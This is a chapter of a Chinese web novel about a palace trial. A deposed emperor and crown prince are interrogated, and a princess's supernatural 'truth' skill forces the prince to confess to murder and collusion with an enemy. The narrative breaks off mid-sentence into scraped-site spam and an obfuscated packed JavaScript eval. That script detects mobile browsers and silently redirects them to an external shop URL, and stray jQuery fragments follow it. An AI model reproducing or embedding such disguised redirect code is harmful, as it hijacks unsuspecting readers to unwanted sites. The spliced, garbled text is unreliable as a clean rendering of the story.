第423章 四皇子:我无法自控地净说大实话

作品:《掏空仇家空间流放,亲爹一家悔哭

    天牢。


    阴暗潮湿鼠蚁横行。


    李允德、井上濡、李正弘在两个单间牢房里隔栅栏对望。


    井上濡的伤势并没有痊愈但能拖着腿照顾李允德。


    “开饭了!”牢头在门外敲着桶。


    井上濡爬到牢房栅栏前等着牢头把饭送来。


    两个馒头一碟腌菜一碗汤。


    井上濡从栅栏的缝隙里拿进去先把馒头吃了两口然后交给李允德:“父亲无毒。”


    李允德接过去掰一块又塞给井上濡说道:“父皇老了半个就够了你还年轻多吃点。”


    井上濡道:“不儿臣现在活动少不饿。父亲你先吃。”


    看着李允德吃了馒头、小菜和水井上濡才把剩下的饭菜吃了说道:“父亲天龙皇帝并不算苛待我们在监牢里这已经算好了。您是皇帝没有做过伤天害理的事他定然做足仁善姿态会放过父亲。”


    “朕现在心倒是安了。”李允德有些颓丧地说“原本朕也没什么野心是你那些皇伯皇叔们都太能干他们互相斗死了朕捡了个便宜……”


    李正弘在隔壁慢慢地啃着馒头说道:“你没有野心?那你为何霸着位置不放?你早早地把皇位交给孤重封也不至于到今天这一步!”


    “朕不是交给你了?你不是也没守住?如果你在盛京监国的时候能抵挡住北炎和东陵朕又奈你何?如果你能守住锦华城守住江南朕又能奈你何?”


    “可父皇一直没放手。皇子与太子相差十万八千里储君与君又差十万八千里人、兵都在你手里孤又能如何?”


    “四弟你别说了父亲一直属意的都是你……”


    “属意孤?他是没办法了才立孤为太子他心里属意的一直是你这个野种即便知道你是野种他也痴心不改。”


    李允德冷笑道:“是朕就是属意永炎!昌泰你是朕亲生的但是你和你那个爬床的娘一样野心勃勃你自以为装得很孝顺很无辜朕早就看透你了你根本靠不住!”


    “哈哈哈……”


    李正弘听到了真话扎心。


    好恨啊一辈子被人做垫脚石!


    不他安慰自己我不会认输!即便身陷囹圄又如何?项羽破釜沉舟百二秦关终属楚勾践卧薪尝胆三千越甲竟吞吴。孤今年才十五岁等得起!


    文璟元年五月二十日刑部、大理寺、联合审问前朝皇帝、太子


    你的朋友正在书荒,快去帮帮他吧


    致一千多万百姓失去性命、三千多万百姓失去家园的滔天罪行。


    这是第三次审问李允德父子。


    前两次审问,李允德、李正弘死不承认自己的罪行,他们说是为了百姓不得已迁都江南,而且是文武百官强烈要求他们迁都的。


    李正弘更是说自己在北炎入侵时依旧监国,不仅无罪,还有功。


    若说有罪,那也轮不到他,他那时候只不过一个无权的皇子。


    虽然他们极力否认,但北炎入侵,他们逃跑却是事实,定下死罪毋庸置疑。


    总要有人对死去的一千多万百姓负责。


    文璟帝对审问结果不满意,所以第三次审问,交由左丞相江无恙主审,刑部、大理寺联合审问。


    谢岁穗喜欢凑热闹,她与江大人商议:“江大人,让我做你的助手呗?”


    江大人点头:“好。”


    并且极其认真地与谢岁穗沟通了案宗,禀告审问进度,以及需要落实的罪行。


    江大人还专门写了几张纸给她,以免她在大堂上忘记。


    五月十九日,谢岁穗在府里正在与人一起种花,管家来报:“长公主,江大人来访。”


    “谁?”


    “左相。”


    “快请。”


    江无恙到镇国长公主府,便看见一院子的鲜花,微风吹拂,空气里还有一股子初荷的清香。


    “长公主好雅兴。”江无恙难得说一句闲话。


    谢岁穗笑着说,“这些花本来是花蕾,是江大人来了,它们便迫不及待地绽放了。”


    江无恙忍不住嘴角翘起。


    宾主落座,谢岁穗道:“江大人寻我有急事?”


    “是这样,明日提审李允德、李正弘,有些事臣想和长公主商议。”


    “江大人请讲。”


    江无恙示意谢岁穗把下人屏退,谢岁穗挥手,所有人都退出去。


    “臣知道,长公主自有审问犯人的特别手段,也知道长公主审问出来的必然是最真实的口供,只是……”


    “江大人但说无妨。”


    “除了臣与镇南王,还有谁见过长公主审问犯人?尤其是,陛下见过吗?”


    谢岁穗摇头:“见过我审案的朝臣,除了你和三哥,没有别人。”


    “臣斗胆建议长公主,明日最好不要用原先的办法审问,宁可明日由臣逼供,长公主也不要开口。”


    “江大人何意?”


    “臣观察过长公主审案,一旦长公主开始审问,犯人便低垂眉眼,


    听说看这本书的人都是很幸运的,分享后你的运气会更棒


    表情僵硬,似是失去神智。”


    谢岁穗微笑,这就是江大人,观察入微,明察秋毫,早就发现端倪,却守口如瓶。


    “所以,江大人想让我退出审问?”


    “明日陛下、皇后娘娘、太后娘娘以及内阁大臣悉数在场,臣自然想让李允德父子开口说实话。


    但是,若以暴露长公主特殊手段为代价,臣宁可长公主只是旁观。”


    江无恙手指习惯性在桌子上轻叩,谢岁穗看到他的手指很长,骨节分明,长得不像习武之人,但比以前健康许多,再不是透明孱弱。


    谢岁穗知道江无恙是好意,是在保护她的异能不被人发现。


    甚至言下之意,提醒她不可在陛下面前显示异能。


    谢岁穗审问那些难啃的硬骨头,基本用的是“有问必答”“坦白从宽”两个技能叠加。


    尤其是“有问必答”技能,是知无不言言无不尽,“坦白从宽”便是确保对方讲的全是实话。


    其中“有问必答”,被审问者在两刻钟内完全失去神智,而“坦白从宽”则是清醒着,却不由自主地说实话。


    “坦白从宽”的弊端之一:对方因为清醒且不由自主地说出实情,为了避免自己吐露更多的案情,一旦发觉失言,很可能当场自尽,这是主审官的严重失职。


    另外“坦白从宽”还有一个弊端,一次只能坦白一个问题,比较浪费。


    但是——谢岁穗不怕啊,她每个月的“坦白从宽”机会有二十次呢!


    大不了本月只审问这么一次,别的审问她尽量暗戳戳地使用“有问必答”好了。


    想到这里,她对江无恙说:“江大


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17445867|190484||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    人,那我最多问二十个问题,再多了就不行了。”


    “二十个已经足够。臣估算过,其中五个要紧的问题由长公主询问,其余的由臣问。”


    “好,五个刚好,若太多,我倒像个主审官了。”


    江无恙把五个问题给她,谢岁穗又和江无恙商量了一番,彼此约好到时候见机行事。


    五月二十日,对前朝皇帝李允德、李正弘第三次提审。


    文璟帝、皇后娘娘、太后娘娘、镇北王夫妇、镇南王等在京的王公大臣在后堂旁听。


    原宣平侯顾恒、原宣平侯世子顾砚辞都在侧殿旁听。


    江无恙坐在正堂,谢岁穗搬了一把椅子坐在江大人的案桌旁辅助。


    堂威喊过,第一个被提上来的是前朝太子李正弘。


    谢岁穗开头并没有说话,江无恙按照惯例,对他为了夺嫡谋害人


    听说看这本书的人都是很幸运的,分享后你的运气会更棒


    的一系列罪行审问。


    因为做足了功课,江无恙每次都有证人证据,倒也审得比较顺利。


    但李正弘做得很高明,都能找到背锅的,审下来,他顶多算是御下不严,罪不致死。


    当问到有没有为了害死先太子李正贤(顾砚辞的外甥)勾结北炎人时,李正弘严词以拒,说道:“我就算再想夺嫡,也不至于勾结外敌。”


    “那逼死谢飞大将军是不是你的手笔?”


    “不是,是井上濡,也就是原先的燕王,是他为了夺嫡,为了母族东陵国,勾结北炎人和东陵人,害死三皇兄,逼死谢大将军,侵占重封疆土。”


    江无恙把当初李正弘的皇子府侍卫的口供给他,证明是他下令杀害李正贤累及谢飞。


    李正弘不认,说这是诬陷,那侍卫因为不满他无权无势,早就背叛了他。


    至于有没有逼死谢飞,他眼含热泪,说谢飞那样的卫国大英雄,他怎么可能害他!


    他声情并茂,舌灿莲花,把自己摘得一干二净,拒不交代实质性的东西。


    按照他交代的,他最多和酒囊饭袋晋王一样,抄家、圈禁、贬为庶民。


    谢岁穗看江无恙的手指轻轻用力,她便把“坦白从宽”丢向李正弘,就那一瞬间,李正弘眼神恍惚一下。


    谢岁穗立即说道:“李正弘,本宫怎么听说你不仅害死了李正贤,还逼死了谢飞大将军?你怎么都赖掉了?”


    只见李正弘快速地说道:“孤当然要赖掉,孤要是承认了,谢星晖会放过孤吗?孤肯定就没命了。


    李正贤一出生就被封为太子,而燕王享尽父皇的宠爱,凭什么都是皇子,孤却受尽白眼,活得连阉人都不如?


    是孤把李正贤送粮草的路线告诉了萧锋,让他帮孤杀了李正贤,嫁祸燕王,萧锋让孤想办法杀了谢飞,他此生最恨的就是谢家军。


    李正贤果然被萧锋的人杀了,其实燕王也派人出手了,孤便顺水推舟栽赃燕王。


    李正贤死后,孤派人去劝说谢飞自尽,他不死将军府满门必须为太子陪葬。谢飞为了全家,自尽了……”


    整个大堂以及后殿,鸦雀无声。


    只有李正弘略带自豪的声音在大殿回荡。


    尽管他很不想说,但是嘴巴非常诚实地、滔滔不绝地把自己勾结萧锋,杀害太子,栽赃燕王,又逼死谢飞的事,竹筒倒豆子,倒了个干净!